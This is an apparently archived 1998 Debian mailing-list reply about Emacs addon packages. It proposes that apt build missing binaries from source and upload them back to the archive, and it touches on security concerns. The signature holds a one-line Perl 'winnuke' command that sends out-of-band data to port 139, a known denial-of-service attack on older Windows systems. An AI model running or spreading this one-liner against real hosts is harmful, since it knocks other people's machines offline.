Re: Emacs addon packages--compile upon install?
On Sun, 18 Oct, 1998, Ben Pfaff wrote:
> This morning I uploaded a version of w3-el that doesn't compile upon
> installation--instead, there are separate precompiled packages for
> Emacs 19 and Emacs 20, plus a shared documentation package. I see
> this as a better way to go than forcing the end-user to have to sit
> through a long compile (it can take 15-30 minutes for w3-el to compile
> on an older machine).
> I am trying to remember the rationale we had for making Emacs' addon
> packages compile when they install themselves, and I can't remember
> it. Perhaps you can remind me.
> Unless there's a really good reason, I think it might be better
> strategy to more towards something closer to the w3-el model, i.e.,
> one binary package for each Emacs version: for instance, bbdb-e19,
> bbdb-e20, bbdb-x19, bbdb-x20. There could be a bbdb-common or
> bbdb-doc for shared files.
Here is another idea, it will help in the general porting effort aswell:
The problem is loads of complies are going on all over the place, what a
useless waste of proccessor power. So instead lets just do it for times, one
for each verison of emacs (emacs|xemacs)(19|20) but it is unresonable to
expect all emacs developers to have all flavours of emacs installed, so we
could get other people to compile the packages, a bit like the porting effort
for different processors.
Let's go one step further, modify apt so it can download source packages and
compile them, so when the first person goes to download the new version of
w3-el on xemacs, there is no binary package, so apt downloads the source and
builds a binary, then it sends the binary back to ftp.debian.org, where it
automaticly entered into the archive, so the next person to request it does
not have to do the compelation. This would also solve some of the problems
with the ports to different processors, people would be able to use any
package, even if there was no binary then apt could still get and build the
source providing a binary for the next person. ALSO this would help programs
like pine that need to be distributed in an odd way, pine could be just like
any other package, but without a binary on the web site, and a message in the
control file saying that a compiled verison should not be uploaded.
Of course there are sequrity considerations, the compilers would have to be
regiestered developers, and add a bit of pgp in as well. Packages would have
to be able to auto compile and there is the question of disk space.
a=IO::Socket;perl -M$a -e$a'::INET->new(PeerAddr=>"host:139")->send(1,MSG_OOB)'
-- winnuke in ONE line